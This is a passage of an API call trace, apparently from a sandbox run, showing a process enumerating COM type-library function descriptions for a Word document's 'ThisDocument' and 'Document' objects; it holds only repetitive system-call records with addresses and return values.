ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd4, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd5, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd6, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd7, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd8, ppFuncDesc=0x266b48, pDummy=0x460 | out: ppFuncDesc=0x266b48, pDummy=0x460) returned 0x0 [0036.884] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.884] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd9, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xda, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdb, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdc, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdd, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xde, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdf, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe0, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe1, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe2, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe3, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe4, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe5, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe6, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe7, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe8, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe9, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xea, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xeb, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xec, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xed, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xee, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xef, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf0, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf1, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf2, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf3, ppFuncDesc=0x266b48, pDummy=0x460 | out: ppFuncDesc=0x266b48, pDummy=0x460) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.885] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf4, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.885] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.886] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf5, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.886] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.886] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf6, ppFuncDesc=0x266b48, pDummy=0x460 | out: ppFuncDesc=0x266b48, pDummy=0x460) returned 0x0 [0036.886] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.886] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf7, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.886] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.886] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf8, ppFuncDesc=0x266b48, pDummy=0x80 | out: ppFuncDesc=0x266b48, pDummy=0x80) returned 0x0 [0036.886] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.886] ITypeInfo2:GetCustData (in: This=0x8087d30, GUID=0x7fee408d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x266b78 | out: pVarVal=0x266b78*(varType=0x0, wReserved1=0x0, wReserved2=0x1b8, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0036.886] IUnknown:Release (This=0x8087d30) returned 0x2 [0036.886] ITypeInfo:RemoteGetDocumentation (in: This=0x8087d30, memid=-1, refPtrFlags=0x266b70, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0036.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x266a80, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0036.886] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0036.886] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266b20 | out: ppvObject=0x266b20*=0x0) returned 0x80004002 [0036.886] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087e90, ppTypeAttr=0x266b48, pDummy=0x10 | out: ppTypeAttr=0x266b48, pDummy=0x10) returned 0x0 [0036.886] ITypeInfo:LocalReleaseTypeAttr (This=0x8087e90) returned 0x0 [0036.886] IUnknown:Release (This=0x8087de0) returned 0x1 [0036.886] IUnknown:Release (This=0x8087e90) returned 0x3 [0036.886] IUnknown:Release (This=0x8087d30) returned 0x1 [0036.886] IUnknown:Release (This=0x8087d30) returned 0x1 [0036.886] IUnknown:AddRef (This=0x8087de0) returned 0x3 [0036.886] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087de0, ppTypeAttr=0x266da0, pDummy=0x0 | out: ppTypeAttr=0x266da0, pDummy=0x0) returned 0x0 [0036.886] ITypeInfo:LocalReleaseTypeAttr (This=0x8087de0) returned 0x0 [0036.886] ITypeInfo:GetRefTypeOfImplType (in: This=0x8087de0, index=0x0, pRefType=0x266d98 | out: pRefType=0x266d98*=0x3) returned 0x0 [0036.887] ITypeInfo:GetRefTypeInfo (in: This=0x8087de0, hreftype=0x3, ppTInfo=0x266da8 | out: ppTInfo=0x266da8*=0x81d8b88) returned 0x0 [0036.887] IUnknown:Release (This=0x8087de0) returned 0x2 [0036.887] ITypeInfo:RemoteGetTypeAttr (in: This=0x81d8b88, ppTypeAttr=0x266da0, pDummy=0x266d78 | out: ppTypeAttr=0x266da0, pDummy=0x266d78*=0x3) returned 0x0 [0036.887] ITypeInfo:LocalReleaseTypeAttr (This=0x81d8b88) returned 0x0 [0036.887] ITypeInfo:GetRefTypeOfImplType (in: This=0x81d8b88, index=0x0, pRefType=0x266d98 | out: pRefType=0x266d98*=0x182) returned 0x0 [0036.887] ITypeInfo:GetRefTypeInfo (in: This=0x81d8b88, hreftype=0x182, ppTInfo=0x266da8 | out: ppTInfo=0x266da8*=0x81d8be0) returned 0x0 [0036.887] IUnknown:Release (This=0x81d8b88) returned 0x1 [0036.887] ITypeInfo:RemoteGetTypeAttr (in: This=0x81d8be0, ppTypeAttr=0x266da0, pDummy=0x266d80 | out: ppTypeAttr=0x266da0, pDummy=0x266d80*=0x266db0) returned 0x0 [0036.887] ITypeInfo:LocalReleaseTypeAttr (This=0x81d8be0) returned 0x0 [0036.887] IUnknown:Release (This=0x81d8be0) returned 0x1 [0036.887] IUnknown:Release (This=0x8087de0) returned 0x1 [0036.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="025e3fce51", cchWideChar=11, lpMultiByteStr=0x266d90, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="025e3fce51", lpUsedDefaultChar=0x0) returned 11 [0036.887] GetLocalTime (in: lpSystemTime=0x266e78 | out: lpSystemTime=0x266e78*(wYear=0x7e3, wMonth=0x2, wDayOfWeek=0x1, wDay=0xb, wHour=0x9, wMinute=0x12, wSecond=0xa, wMilliseconds=0x62)) [0036.887] _ultow_s (in: _Value=0x5e3fce52, _Buffer=0x81e6364, _BufferCount=0x9, _Radix=16 | out: _Buffer="5e3fce52") returned 0x0 [0036.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="035e3fce52", cchWideChar=11, lpMultiByteStr=0x266dd0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="035e3fce52", lpUsedDefaultChar=0x0) returned 11 [0036.887] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087de0, ppTypeAttr=0x266e28, pDummy=0x81e7bc0 | out: ppTypeAttr=0x266e28, pDummy=0x81e7bc0*=0x7) returned 0x0 [0036.887] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087de0, ppTypeAttr=0x266dd0, pDummy=0x81e7bc0 | out: ppTypeAttr=0x266dd0, pDummy=0x81e7bc0*=0x7) returned 0x0 [0036.887] ITypeInfo:LocalReleaseTypeAttr (This=0x8087de0) returned 0x0 [0036.887] ITypeInfo:LocalReleaseTypeAttr (This=0x8087de0) returned 0x0 [0036.887] IUnknown:Release (This=0x8087de0) returned 0x1 [0036.887] IMalloc:Realloc (This=0x7feff045380, pv=0x819c060, cb=0x100) returned 0x8195a60 [0036.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x266c10, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0036.887] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0036.888] IUnknown:Release (This=0x8087de0) returned 0x1 [0036.888] IUnknown:Release (This=0x8087de0) returned 0x1 [0036.888] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2669d0 | out: ppvObject=0x2669d0*=0x0) returned 0x80004002 [0036.888] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee40840f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x266918 | out: ppvObject=0x266918*=0x8087d30) returned 0x0 [0036.888] ITypeInfo2:GetCustData (in: This=0x8087d30, GUID=0x7fee408d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x266928 | out: pVarVal=0x266928*(varType=0x0, wReserved1=0x26, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0036.888] IUnknown:Release (This=0x8087d30) returned 0x2 [0036.888] ITypeInfo:RemoteGetDocumentation (in: This=0x8087d30, memid=-1, refPtrFlags=0x266920, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x266940 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x266940*="") returned 0x0 [0036.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x266830, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0036.888] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0036.888] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087de0, ppTypeAttr=0x266920, pDummy=0x0 | out: ppTypeAttr=0x266920, pDummy=0x0) returned 0x0 [0036.888] ITypeInfo:LocalReleaseTypeAttr (This=0x8087de0) returned 0x0 [0036.888] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x0, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.888] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.888] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.888] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.888] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.888] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.888] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.888] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.888] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.888] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.888] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.888] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.888] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.888] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.888] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.888] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.888] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.888] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.888] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.888] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.888] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.888] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.888] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.888] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.888] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.888] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.888] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.888] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.888] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.888] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.888] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.888] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.888] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x10, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x11, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x12, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x13, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x14, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x15, ppFuncDesc=0x2668f8, pDummy=0x90 | out: ppFuncDesc=0x2668f8, pDummy=0x90) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x16, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x17, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x18, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x19, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1a, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1b, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1c, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1d, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1e, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1f, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x20, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x21, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 [0036.889] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.889] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x22, ppFuncDesc=0x2668f8, pDummy=0x80 | out: ppFuncDesc=0x2668f8, pDummy=0x80) returned 0x0 